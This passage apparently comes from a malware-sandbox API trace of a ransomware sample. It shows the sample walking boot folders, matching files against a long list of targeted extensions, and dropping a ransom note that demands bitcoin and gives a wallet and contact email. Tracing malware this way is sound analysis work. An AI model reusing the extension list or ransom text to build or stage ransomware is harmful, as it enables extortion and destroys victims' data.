lstrlenA (lpString="*.p12") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.164] lstrlenA (lpString="*.gpg") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.164] lstrlenA (lpString="*.vsd") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.164] lstrlenA (lpString="*.odg") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.164] lstrlenA (lpString="*.raw") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.164] lstrlenA (lpString="*.nef") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.164] lstrlenA (lpString="*.svg") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.164] lstrlenA (lpString="*.psd") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.164] lstrlenA (lpString="*.vmx") returned 5 [0057.164] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.165] lstrlenA (lpString="*.vmdk") returned 6 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.165] lstrlenA (lpString="*.vdi") returned 5 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.165] lstrlenA (lpString="*.lay6") returned 6 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.165] lstrlenA (lpString="*.mpeg") returned 6 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.165] lstrlenA (lpString="*.djvu") returned 6 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.165] lstrlenA (lpString="*.tiff") returned 6 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.165] lstrlenA (lpString="*.backup") returned 8 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.165] lstrlenA (lpString="*.pdf") returned 5 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.165] lstrlenA (lpString="*.cert") returned 6 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.165] lstrlenA (lpString="*.docm") returned 6 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.165] lstrlenA (lpString="*.xlsm") returned 6 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.165] lstrlenA (lpString="*.dwg") returned 5 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.165] lstrlenA (lpString="*.nd") returned 4 [0057.165] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.165] lstrlenA (lpString="*.tlg") returned 5 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.166] lstrlenA (lpString="*.lgb") returned 5 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.166] lstrlenA (lpString="*.mov") returned 5 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.166] lstrlenA (lpString="*.xdw") returned 5 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.166] lstrlenA (lpString="*.ods") returned 5 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.166] lstrlenA (lpString="*.wav") returned 5 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.166] lstrlenA (lpString="*.mp3") returned 5 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.166] lstrlenA (lpString="*.aiff") returned 6 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.166] lstrlenA (lpString="*.flac") returned 6 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.m4a") returned 0 [0057.166] lstrlenA (lpString="*.m4a") returned 5 [0057.166] PathMatchSpecA (pszFile="C:\\Boot\\da-DK\\bootmgr.exe.mui", pszSpec="*.csv") returned 0 [0057.166] lstrlenA (lpString="*.csv") returned 5 [0057.166] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0057.166] FindClose (in: hFindFile=0x4f7098 | out: hFindFile=0x4f7098) returned 1 [0057.166] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="de-DE", cAlternateFileName="")) returned 1 [0057.167] lstrcmpA (lpString1=".", lpString2="de-DE") returned -1 [0057.167] lstrcmpA (lpString1="..", lpString2="de-DE") returned -1 [0057.167] PathFindFileNameA (pszPath="C:\\Boot\\*.*") returned="*.*" [0057.167] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="de-DE" | out: lpString1="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0057.167] lstrlenA (lpString="C:\\Boot\\de-DE") returned 13 [0057.167] FindFirstFileA (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8360, cFileName=".", cAlternateFileName="")) returned 0x4f7098 [0057.168] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.169] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.169] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.169] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.169] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.169] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.169] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.169] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootmgr.exe.mui") returned 1 [0057.169] lstrcmpiA (lpString1="", lpString2="bootmgr.exe.mui") returned -1 [0057.169] PathFindFileNameA (pszPath="C:\\Boot\\de-DE\\*.*") returned="*.*" [0057.169] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\de-DE\\" | out: lpString1="C:\\Boot\\de-DE\\") returned="C:\\Boot\\de-DE\\" [0057.169] PathAddBackslashA (in: pszPath="C:\\Boot\\de-DE\\" | out: pszPath="C:\\Boot\\de-DE\\") returned="" [0057.169] lstrcatA (in: lpString1="C:\\Boot\\de-DE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\de-DE\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\de-DE\\HOW TO DECRYPT FILES.txt" [0057.169] GetFileAttributesA (lpFileName="C:\\Boot\\de-DE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\de-de\\how to decrypt files.txt")) returned 0xffffffff [0057.169] CreateFileA (lpFileName="C:\\Boot\\de-DE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\de-de\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x84 [0057.170] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0057.170] WriteFile (in: hFile=0x84, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0057.171] SetFileTime (hFile=0x84, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.171] CloseHandle (hObject=0x84) returned 1 [0057.172] lstrcatA (in: lpString1="C:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned="C:\\Boot\\de-DE\\bootmgr.exe.mui" [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.ems") returned 0 [0057.172] lstrlenA (lpString="*.ems") returned 5 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.db") returned 0 [0057.172] lstrlenA (lpString="*.db") returned 4 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.dbf") returned 0 [0057.172] lstrlenA (lpString="*.dbf") returned 5 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.myox") returned 0 [0057.172] lstrlenA (lpString="*.myox") returned 6 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.myo") returned 0 [0057.172] lstrlenA (lpString="*.myo") returned 5 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.qbw") returned 0 [0057.172] lstrlenA (lpString="*.qbw") returned 5 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.qbb") returned 0 [0057.172] lstrlenA (lpString="*.qbb") returned 5 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.qbm") returned 0 [0057.172] lstrlenA (lpString="*.qbm") returned 5 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.qbo") returned 0 [0057.172] lstrlenA (lpString="*.qbo") returned 5 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.qbx") returned 0 [0057.172] lstrlenA (lpString="*.qbx") returned 5 [0057.172] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.qba") returned 0 [0057.172] lstrlenA (lpString="*.qba") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.qby") returned 0 [0057.173] lstrlenA (lpString="*.qby") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.qbj") returned 0 [0057.173] lstrlenA (lpString="*.qbj") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.ofx") returned 0 [0057.173] lstrlenA (lpString="*.ofx") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.qif") returned 0 [0057.173] lstrlenA (lpString="*.qif") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.mye") returned 0 [0057.173] lstrlenA (lpString="*.mye") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.mbox") returned 0 [0057.173] lstrlenA (lpString="*.mbox") returned 6 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.173] lstrlenA (lpString="*.eml") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.pst") returned 0 [0057.173] lstrlenA (lpString="*.pst") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.ost") returned 0 [0057.173] lstrlenA (lpString="*.ost") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.idx") returned 0 [0057.173] lstrlenA (lpString="*.idx") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.dbx") returned 0 [0057.173] lstrlenA (lpString="*.dbx") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.sql") returned 0 [0057.173] lstrlenA (lpString="*.sql") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.mdb") returned 0 [0057.173] lstrlenA (lpString="*.mdb") returned 5 [0057.173] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.fdb") returned 0 [0057.174] lstrlenA (lpString="*.fdb") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.wab") returned 0 [0057.174] lstrlenA (lpString="*.wab") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.dat") returned 0 [0057.174] lstrlenA (lpString="*.dat") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.txt") returned 0 [0057.174] lstrlenA (lpString="*.txt") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.jpeg") returned 0 [0057.174] lstrlenA (lpString="*.jpeg") returned 6 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.jpg") returned 0 [0057.174] lstrlenA (lpString="*.jpg") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.png") returned 0 [0057.174] lstrlenA (lpString="*.png") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.php") returned 0 [0057.174] lstrlenA (lpString="*.php") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.cs") returned 0 [0057.174] lstrlenA (lpString="*.cs") returned 4 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.cpp") returned 0 [0057.174] lstrlenA (lpString="*.cpp") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.rar") returned 0 [0057.174] lstrlenA (lpString="*.rar") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.zip") returned 0 [0057.174] lstrlenA (lpString="*.zip") returned 5 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.html") returned 0 [0057.174] lstrlenA (lpString="*.html") returned 6 [0057.174] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.htm") returned 0 [0057.174] lstrlenA (lpString="*.htm") returned 5 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.xlsx") returned 0 [0057.175] lstrlenA (lpString="*.xlsx") returned 6 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.xls") returned 0 [0057.175] lstrlenA (lpString="*.xls") returned 5 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.mp4") returned 0 [0057.175] lstrlenA (lpString="*.mp4") returned 5 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.ppt") returned 0 [0057.175] lstrlenA (lpString="*.ppt") returned 5 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.pptx") returned 0 [0057.175] lstrlenA (lpString="*.pptx") returned 6 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.doc") returned 0 [0057.175] lstrlenA (lpString="*.doc") returned 5 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.dot") returned 0 [0057.175] lstrlenA (lpString="*.dot") returned 5 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.docx") returned 0 [0057.175] lstrlenA (lpString="*.docx") returned 6 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.7z") returned 0 [0057.175] lstrlenA (lpString="*.7z") returned 4 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.tar") returned 0 [0057.175] lstrlenA (lpString="*.tar") returned 5 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.bz2") returned 0 [0057.175] lstrlenA (lpString="*.bz2") returned 5 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.gz") returned 0 [0057.175] lstrlenA (lpString="*.gz") returned 4 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.mkv") returned 0 [0057.175] lstrlenA (lpString="*.mkv") returned 5 [0057.175] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.eml") returned 0 [0057.176] lstrlenA (lpString="*.eml") returned 5 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.msg") returned 0 [0057.176] lstrlenA (lpString="*.msg") returned 5 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.edb") returned 0 [0057.176] lstrlenA (lpString="*.edb") returned 5 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.accdb") returned 0 [0057.176] lstrlenA (lpString="*.accdb") returned 7 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.odb") returned 0 [0057.176] lstrlenA (lpString="*.odb") returned 5 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.java") returned 0 [0057.176] lstrlenA (lpString="*.java") returned 6 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.asm") returned 0 [0057.176] lstrlenA (lpString="*.asm") returned 5 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.pfx") returned 0 [0057.176] lstrlenA (lpString="*.pfx") returned 5 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.pem") returned 0 [0057.176] lstrlenA (lpString="*.pem") returned 5 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.p12") returned 0 [0057.176] lstrlenA (lpString="*.p12") returned 5 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.gpg") returned 0 [0057.176] lstrlenA (lpString="*.gpg") returned 5 [0057.176] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.vsd") returned 0 [0057.177] lstrlenA (lpString="*.vsd") returned 5 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.odg") returned 0 [0057.177] lstrlenA (lpString="*.odg") returned 5 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.raw") returned 0 [0057.177] lstrlenA (lpString="*.raw") returned 5 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.nef") returned 0 [0057.177] lstrlenA (lpString="*.nef") returned 5 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.svg") returned 0 [0057.177] lstrlenA (lpString="*.svg") returned 5 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.psd") returned 0 [0057.177] lstrlenA (lpString="*.psd") returned 5 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.vmx") returned 0 [0057.177] lstrlenA (lpString="*.vmx") returned 5 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.vmdk") returned 0 [0057.177] lstrlenA (lpString="*.vmdk") returned 6 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.vdi") returned 0 [0057.177] lstrlenA (lpString="*.vdi") returned 5 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.lay6") returned 0 [0057.177] lstrlenA (lpString="*.lay6") returned 6 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.mpeg") returned 0 [0057.177] lstrlenA (lpString="*.mpeg") returned 6 [0057.177] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.djvu") returned 0 [0057.177] lstrlenA (lpString="*.djvu") returned 6 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.tiff") returned 0 [0057.178] lstrlenA (lpString="*.tiff") returned 6 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.backup") returned 0 [0057.178] lstrlenA (lpString="*.backup") returned 8 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.pdf") returned 0 [0057.178] lstrlenA (lpString="*.pdf") returned 5 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.cert") returned 0 [0057.178] lstrlenA (lpString="*.cert") returned 6 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.docm") returned 0 [0057.178] lstrlenA (lpString="*.docm") returned 6 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.xlsm") returned 0 [0057.178] lstrlenA (lpString="*.xlsm") returned 6 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.dwg") returned 0 [0057.178] lstrlenA (lpString="*.dwg") returned 5 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.nd") returned 0 [0057.178] lstrlenA (lpString="*.nd") returned 4 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.tlg") returned 0 [0057.178] lstrlenA (lpString="*.tlg") returned 5 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.lgb") returned 0 [0057.178] lstrlenA (lpString="*.lgb") returned 5 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.mov") returned 0 [0057.178] lstrlenA (lpString="*.mov") returned 5 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.xdw") returned 0 [0057.178] lstrlenA (lpString="*.xdw") returned 5 [0057.178] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.ods") returned 0 [0057.179] lstrlenA (lpString="*.ods") returned 5 [0057.179] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.wav") returned 0 [0057.179] lstrlenA (lpString="*.wav") returned 5 [0057.179] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.mp3") returned 0 [0057.179] lstrlenA (lpString="*.mp3") returned 5 [0057.179] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.aiff") returned 0 [0057.179] lstrlenA (lpString="*.aiff") returned 6 [0057.179] PathMatchSpecA (pszFile="C:\\Boot\\de-DE\\bootmgr.exe.mui", pszSpec="*.flac") returned 0 [0057.179] lstrlenA (lpString="*.flac") returned 6 [0057.179] PathMatchSpecA 